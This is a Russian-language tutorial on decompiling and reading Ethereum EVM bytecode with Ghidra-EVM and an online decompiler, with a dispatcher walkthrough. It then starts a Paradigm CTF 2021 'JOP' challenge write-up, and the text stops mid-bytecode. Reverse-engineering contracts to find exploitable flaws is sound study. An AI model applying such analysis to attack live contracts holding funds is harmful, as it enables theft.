608060405234801561001057600080fd5b5060c68061001f6000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80632e64cec114603757806360fe47b1146053575b600080fd5b603d607e565b6040518082815260200191505060405180910390f35b607c60048036036020811015606757600080fd5b81019080803590602001909291905050506087565b005b60008054905090565b806000819055505056fea265627a7a7231582093a737451b0434b3945c010f908ed87f86f7650e330d62e5bfeb3d0ac5405e2064736f6c63430005110032

Первый вопрос который, скорее всего, возник у вас это: "Ну и куда мне это девать?". Держа этот вопрос в уме, переходим к следующему подзаголовку.

Иструментарий
Для дизассемблирования, я использую 2 интрумента: Ghidra и OSD(Online Solidity Decompiler). Безусловно это не единственные варианты, есть ещё например плагин для Binary Ninja - Ethersplay. Вам бы я советовал попробовать и то и другое, но для большинства задач хватит и онлайн декомпилера - https://ethervm.io/decompile

1.png

Здесь всё принципиально просто - Вставляем байт-код в окошко и жмём Decompile. После этого перед вами предстанет примерное следующее:

2.png

С Ghidra всё значительно сложнее.

Установка Ghidra-EVM
Примечание: У меня не получилось завести плагин в последней версии Ghidra(10.0.1), поэтому я поставил более старую(9.1.2)

Первое что нужно сделать, это поставить python >= 3.6, если он у вас ещё не уставновлен:

![www.python.org](/proxy.php?image=https%3A%2F%2Fwww.python.org%2Fstatic%2Fopengraph- icon-200x200.png&hash=338f5ac76638ac5453f7f99d3bf07100&return_error=1)

Download Python

The official home of the Python Programming Language

www.python.org www.python.org

Теперь установим зависимости, которые требует плагин:
1 - Ghidra_bridge :
Модуль:
pip install ghidra_bridge

Cкрипт сервера:
python -m ghidra_bridge.install_server ~/ghidra_scripts

2 - Evm-cfg-builder :
pip install evm-cfg-builder

Далее сам плагин:
Скачиваем архив отсюда:

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F439ea46a1331efbc7123d187490a8e2adeebaac51a70dfd1ca85775b84b795e6%2Fadelapie%2Fghidra- evm&hash=de88a408c7f5e99b975f42a8d76d34c2&return_error=1)

[ ghidra-evm/ghidra_evm/dist/ghidra_9.1.2_PUBLIC_20201108_ghidra_evm.zip

at main · adelapie/ghidra-evm ](https://github.com/adelapie/ghidra- evm/blob/main/ghidra_evm/dist/ghidra_9.1.2_PUBLIC_20201108_ghidra_evm.zip)

The Ghidra EVM Module (ghidra-evm) leverages Ghidra 9.1.2 to disassemble and analyze compiled Ethereum smart contracts. Ghidra-evm was presented at BlackHat Asia 2021. - adelapie/ghidra-evm

github.com github.com

Скачиваем все скрипты из директории, они пригодятся нам для анализа:

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F439ea46a1331efbc7123d187490a8e2adeebaac51a70dfd1ca85775b84b795e6%2Fadelapie%2Fghidra- evm&hash=de88a408c7f5e99b975f42a8d76d34c2&return_error=1)

[ ghidra-evm/scripts at main · adelapie/ghidra-evm

](https://github.com/adelapie/ghidra-evm/tree/main/scripts)

The Ghidra EVM Module (ghidra-evm) leverages Ghidra 9.1.2 to disassemble and analyze compiled Ethereum smart contracts. Ghidra-evm was presented at BlackHat Asia 2021. - adelapie/ghidra-evm

github.com github.com

Добавим плагин в Ghidra:

3.png
File->Install Extensions...

4.png
Жмём Add Extension и выбираем ранее скаченый c github архив.

5.png
Должно получиться нечто подобное.

Последний шаг - перезапускаем Ghidra.

Использование Ghidra-EVM
Для того чтобы проанализировать смарт-контракт, нам нужно закинуть его байт- код в файл с расширением .evm. После просто импортируем его в Ghidra, как и любой другой файл:

6.png

Inked7_LI.jpg
Примечание: Тут важно нажать No, так как для анализа мы будем использовать скаченые ранее скрипты

Далее запускаем Ghidra-Bridge:

8.png

9.png

Теперь надо проанализировать файл. Для этого открываем консоль и переходим в директорию с скаченными ранее скриптами.

10.png

Далее, запускаем два из них: evm_helper и search_codecopy, передавая в качестве аргумента путь к нашему .evm файлу:

11.png

12.png

Вот и всё, теперь можно разбирать смарт-контракт почти также, как и любое другое ПО в ghidra.

EVM Ассемблер
Чтож, вернёмся к контракту, который я приводишь выше. Для вашего удобства я приложу ассемблерный листинг с OSD:

Spoiler: Листинг

Code:Copy to clipboard

label_0000:
    // Inputs[1] { @0005  msg.value }
    0000    60  PUSH1 0x80
    0002    60  PUSH1 0x40
    0004    52  MSTORE
    0005    34  CALLVALUE
    0006    80  DUP1
    0007    15  ISZERO
    0008    60  PUSH1 0x0f
    000A    57  *JUMPI
    // Stack delta = +1
    // Outputs[2]
    // {
    //     @0004  memory[0x40:0x60] = 0x80
    //     @0005  stack[0] = msg.value
    // }
    // Block ends with conditional jump to 0x000f, if !msg.value

label_000B:
    // Incoming jump from 0x000A, if not !msg.value
    // Inputs[1] { @000E  memory[0x00:0x00] }
    000B    60  PUSH1 0x00
    000D    80  DUP1
    000E    FD  *REVERT
    // Stack delta = +0
    // Outputs[1] { @000E  revert(memory[0x00:0x00]); }
    // Block terminates

label_000F:
    // Incoming jump from 0x000A, if !msg.value
    // Inputs[1] { @0013  msg.data.length }
    000F    5B  JUMPDEST
    0010    50  POP
    0011    60  PUSH1 0x04
    0013    36  CALLDATASIZE
    0014    10  LT
    0015    60  PUSH1 0x32
    0017    57  *JUMPI
    // Stack delta = -1
    // Block ends with conditional jump to 0x0032, if msg.data.length < 0x04

label_0018:
    // Incoming jump from 0x0017, if not msg.data.length < 0x04
    // Inputs[1] { @001A  msg.data[0x00:0x20] }
    0018    60  PUSH1 0x00
    001A    35  CALLDATALOAD
    001B    60  PUSH1 0xe0
    001D    1C  SHR
    001E    80  DUP1
    001F    63  PUSH4 0x2e64cec1
    0024    14  EQ
    0025    60  PUSH1 0x37
    0027    57  *JUMPI
    // Stack delta = +1
    // Outputs[1] { @001D  stack[0] = msg.data[0x00:0x20] >> 0xe0 }
    // Block ends with conditional jump to 0x0037, if 0x2e64cec1 == msg.data[0x00:0x20] >> 0xe0

label_0028:
    // Incoming jump from 0x0027, if not 0x2e64cec1 == msg.data[0x00:0x20] >> 0xe0
    // Inputs[1] { @0028  stack[-1] }
    0028    80  DUP1
    0029    63  PUSH4 0x60fe47b1
    002E    14  EQ
    002F    60  PUSH1 0x53
    0031    57  *JUMPI
    // Stack delta = +0
    // Block ends with conditional jump to 0x0053, if 0x60fe47b1 == stack[-1]

label_0032:
    // Incoming jump from 0x0017, if msg.data.length < 0x04
    // Incoming jump from 0x0031, if not 0x60fe47b1 == stack[-1]
    // Inputs[1] { @0036  memory[0x00:0x00] }
    0032    5B  JUMPDEST
    0033    60  PUSH1 0x00
    0035    80  DUP1
    0036    FD  *REVERT
    // Stack delta = +0
    // Outputs[1] { @0036  revert(memory[0x00:0x00]); }
    // Block terminates

label_0037:
    // Incoming jump from 0x0027, if 0x2e64cec1 == msg.data[0x00:0x20] >> 0xe0
    0037    5B  JUMPDEST
    0038    60  PUSH1 0x3d
    003A    60  PUSH1 0x7e
    003C    56  *JUMP
    // Stack delta = +1
    // Outputs[1] { @0038  stack[0] = 0x3d }
    // Block ends with call to 0x007e, returns to 0x003D

label_003D:
    // Incoming return from call to 0x007E at 0x003C
    // Inputs[4]
    // {
    //     @0040  memory[0x40:0x60]
    //     @0042  stack[-1]
    //     @004D  memory[0x40:0x60]
    //     @0052  memory[memory[0x40:0x60]:memory[0x40:0x60] + (0x20 + memory[0x40:0x60]) - memory[0x40:0x60]]
    // }
    003D    5B  JUMPDEST
    003E    60  PUSH1 0x40
    0040    51  MLOAD
    0041    80  DUP1
    0042    82  DUP3
    0043    81  DUP2
    0044    52  MSTORE
    0045    60  PUSH1 0x20
    0047    01  ADD
    0048    91  SWAP2
    0049    50  POP
    004A    50  POP
    004B    60  PUSH1 0x40
    004D    51  MLOAD
    004E    80  DUP1
    004F    91  SWAP2
    0050    03  SUB
    0051    90  SWAP1
    0052    F3  *RETURN
    // Stack delta = -1
    // Outputs[2]
    // {
    //     @0044  memory[memory[0x40:0x60]:memory[0x40:0x60] + 0x20] = stack[-1]
    //     @0052  return memory[memory[0x40:0x60]:memory[0x40:0x60] + (0x20 + memory[0x40:0x60]) - memory[0x40:0x60]];
    // }
    // Block terminates

label_0053:
    // Incoming jump from 0x0031, if 0x60fe47b1 == stack[-1]
    // Inputs[1] { @0059  msg.data.length }
    0053    5B  JUMPDEST
    0054    60  PUSH1 0x7c
    0056    60  PUSH1 0x04
    0058    80  DUP1
    0059    36  CALLDATASIZE
    005A    03  SUB
    005B    60  PUSH1 0x20
    005D    81  DUP2
    005E    10  LT
    005F    15  ISZERO
    0060    60  PUSH1 0x67
    0062    57  *JUMPI
    // Stack delta = +3
    // Outputs[3]
    // {
    //     @0054  stack[0] = 0x7c
    //     @0056  stack[1] = 0x04
    //     @005A  stack[2] = msg.data.length - 0x04
    // }
    // Block ends with conditional call to 0x0067, returns to 0x007C, if !(msg.data.length - 0x04 < 0x20)

label_0063:
    // Incoming jump from 0x0062, if not !(msg.data.length - 0x04 < 0x20)
    // Inputs[1] { @0066  memory[0x00:0x00] }
    0063    60  PUSH1 0x00
    0065    80  DUP1
    0066    FD  *REVERT
    // Stack delta = +0
    // Outputs[1] { @0066  revert(memory[0x00:0x00]); }
    // Block terminates

label_0067:
    // Incoming call from 0x0062, returns to 0x007C, if !(msg.data.length - 0x04 < 0x20)
    // Inputs[3]
    // {
    //     @0068  stack[-2]
    //     @0069  stack[-1]
    //     @006D  msg.data[stack[-2]:stack[-2] + 0x20]
    // }
    0067    5B  JUMPDEST
    0068    81  DUP2
    0069    01  ADD
    006A    90  SWAP1
    006B    80  DUP1
    006C    80  DUP1
    006D    35  CALLDATALOAD
    006E    90  SWAP1
    006F    60  PUSH1 0x20
    0071    01  ADD
    0072    90  SWAP1
    0073    92  SWAP3
    0074    91  SWAP2
    0075    90  SWAP1
    0076    50  POP
    0077    50  POP
    0078    50  POP
    0079    60  PUSH1 0x87
    007B    56  *JUMP
    // Stack delta = -1
    // Outputs[1] { @0073  stack[-2] = msg.data[stack[-2]:stack[-2] + 0x20] }
    // Block ends with unconditional jump to 0x0087

label_007C:
    // Incoming return from call to 0x0067 at 0x0062
    007C    5B  JUMPDEST
    007D    00  *STOP
    // Stack delta = +0
    // Outputs[1] { @007D  stop(); }
    // Block terminates

label_007E:
    // Incoming call from 0x003C, returns to 0x003D
    // Inputs[2]
    // {
    //     @0082  storage[0x00]
    //     @0085  stack[-1]
    // }
    007E    5B  JUMPDEST
    007F    60  PUSH1 0x00
    0081    80  DUP1
    0082    54  SLOAD
    0083    90  SWAP1
    0084    50  POP
    0085    90  SWAP1
    0086    56  *JUMP
    // Stack delta = +0
    // Outputs[1] { @0085  stack[-1] = storage[0x00] }
    // Block ends with unconditional jump to stack[-1]

label_0087:
    // Incoming jump from 0x007B
    // Inputs[2]
    // {
    //     @0088  stack[-1]
    //     @0090  stack[-2]
    // }
    0087    5B  JUMPDEST
    0088    80  DUP1
    0089    60  PUSH1 0x00
    008B    81  DUP2
    008C    90  SWAP1
    008D    55  SSTORE
    008E    50  POP
    008F    50  POP
    0090    56  *JUMP
    // Stack delta = -2
    // Outputs[1] { @008D  storage[0x00] = stack[-1] }
    // Block ends with unconditional jump to stack[-2]

    0091    FE    *ASSERT
    0092    A2    LOG2
    0093    65    PUSH6 0x627a7a723158
    009A    20    SHA3
    009B    93    SWAP4
    009C    A7    A7
    009D    37    CALLDATACOPY
    009E    45    GASLIMIT
    009F    1B    SHL
    00A0    04    DIV
    00A1    34    CALLVALUE
    00A2    B3    B3
    00A3    94    SWAP5
    00A4    5C    5C
    00A5    01    ADD
    00A6    0F    0F
    00A7    90    SWAP1
    00A8    8E    DUP15
    00A9    D8    D8
    00AA    7F    PUSH32 0x86f7650e330d62e5bfeb3d0ac5405e2064736f6c63430005110032

Перейдём к разбору.

Конструктор
Каждый контракт после компиляции, по сути состоит из двух контрактов: Конструктора и Основной логики. Конструктор вызывается лишь однаждый - при инициализации контракта в сети, и не хранится в Blockchain эфириума. При реверсинге, анализировать конструктор нам незачем, поэтому мы его просто убираем.

Каждый контракт начинается с байтов 6080 или 6060, так что мы просто убираем всё, что идёт до следующих 6080. И в нашем случае, коструктор контракта это:

Code:Copy to clipboard

608060405234801561001057600080fd5b5060c68061001f6000396000f3fe

Или в декопилированном виде:

Code:Copy to clipboard

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value;
    
        if (var0) { revert(memory[0x00:0x00]); }
    
        memory[0x00:0xc6] = code[0x1f:0xe5];
        return memory[0x00:0xc6];
    }
}

Диспетчер и основные инструкции
При вызове смарт-контракта, первое что будет выполненно - это dispatcher. Он отвечает за то, чтобы направить выполнение в нужную функцию смарт-контракта.

Выполнение диспетчера начинается со следующего блока инструкций:

Code:Copy to clipboard

0000    60  PUSH1 0x80
0002    60  PUSH1 0x40
0004    52  MSTORE
0005    34  CALLVALUE
0006    80  DUP1
0007    15  ISZERO
0008    60  PUSH1 0x0f
000A    57  *JUMPI
000B    60  PUSH1 0x00
000D    80  DUP1
000E    FD  *REVERT

Первые три инструкции помещают на стек 0x80 и 0x40, а затем вызывается функция mstore. В результате получается следующее:

Code:Copy to clipboard

memory[0x40:0x60] = 0x80;

С этих инструкций начинается любой контракт.

Далее выполняется инструкция CALLVALUE - кладёт на стек полученное value, а следующая инструкция DUP1 - дублирует верхнее значение на стеке.
За ними идёт ISZERO - инструкция которая проверяется последнее значение на стеке, и если оно не равно нулю то посместит на стек 1.
Далее на стек помещается значение 0x0f, и выполняется JUMPI.

На данном этапе стек представляет собой следующее:

Code:Copy to clipboard

0 - 1
1 - 0x0f

JUMPI или Jump if, это условный переход, который принимает следующие параметры: jumpi(label, cond)
В нашем случае будет совершён переход на 0x0f, так как ISZERO ранее положил на стек 1.

Если бы в стеке лежал 0, то выполнение бы продолжилось, приведя нас к:

Code:Copy to clipboard

000B    60  PUSH1 0x00
000D    80  DUP1
000E    FD  *REVERT

Тут я думаю всё ясно, это BadBlock.

Чтож, теперь посмотрим куда же приведёт нас переход на 0x0f:

Code:Copy to clipboard

000F    5B  JUMPDEST
0010    50  POP
0011    60  PUSH1 0x04
0013    36  CALLDATASIZE
0014    10  LT
0015    60  PUSH1 0x32
0017    57  *JUMPI

Здесь на стек помещается значение 0x04, затем выполняется инструкция CALLDATASIZE - которая поместит размер calldata на стек. После идёт инструкция LT, или less then, которая сравнивает два последних значения на стеке: lt(calldata, 0x04). А дальше знакомая схема с переходом, который перейдёт на 0x0032 в случае если calldata < 0x04.

Далее так подробно разбирать инструкции я не буду, а просто оставлю вам ссылку на табличку с инструкциями EVM ассемблера:

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2Fe6ea5934039e80f00b21e0ae6993a3cb80c8014939286618ce9ceecba92a6c2c%2Fcrytic%2Fevm- opcodes&hash=d0060a83e2b7394ae3c2dfef5a396551&return_error=1)

[ GitHub - crytic/evm-opcodes: Ethereum opcodes and instruction reference

](https://github.com/crytic/evm-opcodes)

Ethereum opcodes and instruction reference. Contribute to crytic/evm-opcodes development by creating an account on GitHub.

github.com github.com

Сейчас проще будет обяснить на примере декомпилировананного контракта.

Code:Copy to clipboard

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;
        var var0 = msg.value; 
        if (var0) { revert(memory[0x00:0x00]); }
        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
    
        var0 = msg.data[0x00:0x20] >> 0xe0;
    
        if (var0 == 0x2e64cec1) {
            // Dispatch table entry for retrieve()
            var var1 = 0x3d;
            var1 = retrieve();
            var temp0 = memory[0x40:0x60];
            memory[temp0:temp0 + 0x20] = var1;
            var temp1 = memory[0x40:0x60];
            return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
        } else if (var0 == 0x60fe47b1) {
            // Dispatch table entry for set(uint256)
            var1 = 0x7c;
            var var2 = 0x04;
            var var3 = msg.data.length - var2;
        
            if (var3 < 0x20) { revert(memory[0x00:0x00]); }
        
            set(var2, var3);
            stop();
        } else { revert(memory[0x00:0x00]); }
    }
    
    function set(var arg0, var arg1) {
        arg0 = msg.data[arg0:arg0 + 0x20];
        storage[0x00] = arg0;
    }
    
    function retrieve() returns (var r0) { return storage[0x00]; }
}

Тут то всё и должно стать понятно. Функция main - это и есть диспетчер. Первые 4 строки функции, мы разобрали выше, в виде ассемблера. Далее идёт условное ветвление if else, которое и осуществляет диспетчеризацию: перенаправляет выполнение, сравнивая msg.data[0x00:0x20] с идетификаторами функций.

Итог
Надеюсь после прочтения, вам стало понятнее, как разбирать EVM ассемблер. Далее я не буду так подробно сосредотачиваться на каждой инструкции, я буду просто приводить листиг ассемблера. Если вам всё ещё сложно или непонятно, то перечитайте и попрактикуйтесь сами. Напиши какую-нибудь простую логику, и попробуйте её реверсить.

Эксплуатируем JOP
В качестве реального примера для эксплуатации, я решил выбрать контракт JOP с Paradigm CTF 2021. Он показался мне наиболее сложной задачей из всех на Paradigm CTF. В задании представлен, как мне показалось, довольно нетипичный пример уязвимости в смарт-контракте. Кроме того, на момент проведения CTF исходный код контракта не был доступен, а это как-раз то, что нам нужно в рамках тематики этой статьи. Ладно, хватит разглагольствовать, перейдём к разбору задания!

Обзор задачи
И так, у нас в распоряжении имеется, байткод задания и контракт Setup:

Байткод:

Code:Copy to clipboard

6080604052600436106101405760003560e01c806370a08231116100b6578063a457c2d71161006f578063a457c2d71461068a578063a9059cbb146106fb578063d0febe4c1461076c578063dd62ed3e14610776578063f2fde38b146107fb578063fc37987b1461084c57610140565b806370a08231146104ae57806379ba50971461051357806384e2b7f61461052a5780638da5cb5b1461058e57806395d89b41146105cf578063a1e89aec1461065f57610140565b806327f833501161010857806327f833501461032d578063313ce5671461036857806339509351146103965780636217229b1461040757806369f3331d146104325780636c11bcd31461047357610140565b806306fdde0314610145578063095ea7b3146101d557806318160ddd1461024657806323b872dd1461027157806325d3bcd114610302575b600080fd5b34801561015157600080fd5b5061015a610877565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e157600080fd5b5061022e600480360360408110156101f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610919565b60405180821515815260200191505060405180910390f35b34801561025257600080fd5b5061025b610937565b6040518082815260200191505060405180910390f35b34801561027d57600080fd5b506102ea6004803603606081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610941565b60405180821515815260200191505060405180910390f35b34801561030e57600080fd5b50610317610a1a565b6040518082815260200191505060405180910390f35b34801561033957600080fd5b506103666004803603602081101561035057600080fd5b8101908080359060200190929190505050610a20565b005b34801561037457600080fd5b5061037d610a27565b604051808260ff16815260200191505060405180910390f35b3480156103a257600080fd5b506103ef600480360360408110156103b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3e565b60405180821515815260200191505060405180910390f35b34801561041357600080fd5b5061041c610af1565b6040518082815260200191505060405180910390f35b34801561043e57600080fd5b50610447610af7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047f57600080fd5b506104ac6004803603602081101561049657600080fd5b8101908080359060200190929190505050610b1d565b005b3480156104ba57600080fd5b506104fd600480360360208110156104d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b3f565b6040518082815260200191505060405180910390f35b34801561051f57600080fd5b50610528610b87565b005b34801561053657600080fd5b506105636004803603602081101561054d57600080fd5b8101908080359060200190929190505050610cf1565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34801561059a57600080fd5b506105a3610d0f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105db57600080fd5b506105e4610d35565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610624578082015181840152602081019050610609565b50505050905090810190601f1680156106515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561066b57600080fd5b50610674610dd7565b6040518082815260200191505060405180910390f35b34801561069657600080fd5b506106e3600480360360408110156106ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ddd565b60405180821515815260200191505060405180910390f35b34801561070757600080fd5b506107546004803603604081101561071e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eaa565b60405180821515815260200191505060405180910390f35b610774610ec8565b005b34801561078257600080fd5b506107e56004803603604081101561079957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ee0565b6040518082815260200191505060405180910390f35b34801561080757600080fd5b5061084a6004803603602081101561081e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f67565b005b34801561085857600080fd5b5061086161106e565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561090f5780601f106108e45761010080835404028352916020019161090f565b820191906000526020600020905b8154815290600101906020018083116108f257829003601f168201915b5050505050905090565b600061092d61092661114f565b8484611157565b6001905092915050565b6000600254905090565b600061094e84848461134e565b610a0f8461095a61114f565b610a0a8560405180606001604052806028815260200161202560289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109c061114f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b611157565b600190509392505050565b600a5481565b80600b5550565b6000600560009054906101000a900460ff16905090565b6000610ae7610a4b61114f565b84610ae28560016000610a5c61114f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cf90919063ffffffff16565b611157565b6001905092915050565b60085481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b273382611757565b610b3c336008548381610b3657fe5b0461191b565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c4a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f6163636570744f776e6572736869702f6e6f742d6e6578742d6f776e6572000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600080600080610d00856119fc565b93509350935093509193509193565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dcd5780601f10610da257610100808354040283529160200191610dcd565b820191906000526020600020905b815481529060010190602001808311610db057829003601f168201915b5050505050905090565b60095481565b6000610ea0610dea61114f565b84610e9b856040518060600160405280602581526020016120b76025913960016000610e1461114f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b611157565b6001905092915050565b6000610ebe610eb761114f565b848461134e565b6001905092915050565b610ed0611bd1565b610ede336007543402611d3b565b565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461102a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f7472616e736665724f776e6572736869702f6e6f742d6f776e6572000000000081525060200191505060405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60075481565b600081116110ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f76616c69646174655075726368617365496d706c2f6e6f2d657468657200000081525060200191505060405180910390fd5b6802b5e3af16b188000081111561114c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611f996021913960400191505060405180910390fd5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120936024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611263576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611fba6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061206e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561145a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611f546023913960400191505060405180910390fd5b611465838383611f02565b6114d081604051806060016040528060268152602001611fdc602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611563816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116cf90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906116bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611681578082015181840152602081019050611666565b50505050905090810190601f1680156116ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061204d6021913960400191505060405180910390fd5b6117e982600083611f02565b61185481604051806060016040528060228152602001611f77602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160f9092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ab81600254611f0790919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008273ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d806000811461197b576040519150601f19603f3d011682016040523d82523d6000602084013e611980565b606091505b50509050806119f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f73656e6445746865722f6661696c65642d746f2d73656e64000000000000000081525060200191505060405180910390fd5b505050565b600080600080600080600080883593506020890135925060408901359150606089013590506000801b8311611a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f736967436865636b2f722d69732d7a65726f000000000000000000000000000081525060200191505060405180910390fd5b6000801b8211611b11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f736967436865636b2f732d69732d7a65726f000000000000000000000000000081525060200191505060405180910390fd5b7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a060001b821115611baa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f736967436865636b2f6d616c6c6561626c65000000000000000000000000000081525060200191505060405180910390fd5b601b811015611bba57601b810190505b838383839750975097509750505050509193509193565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cb257600a5460095410611c9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f76616c696461746550757263686173652f686172646361702d7265616368656481525060200191505060405180910390fd5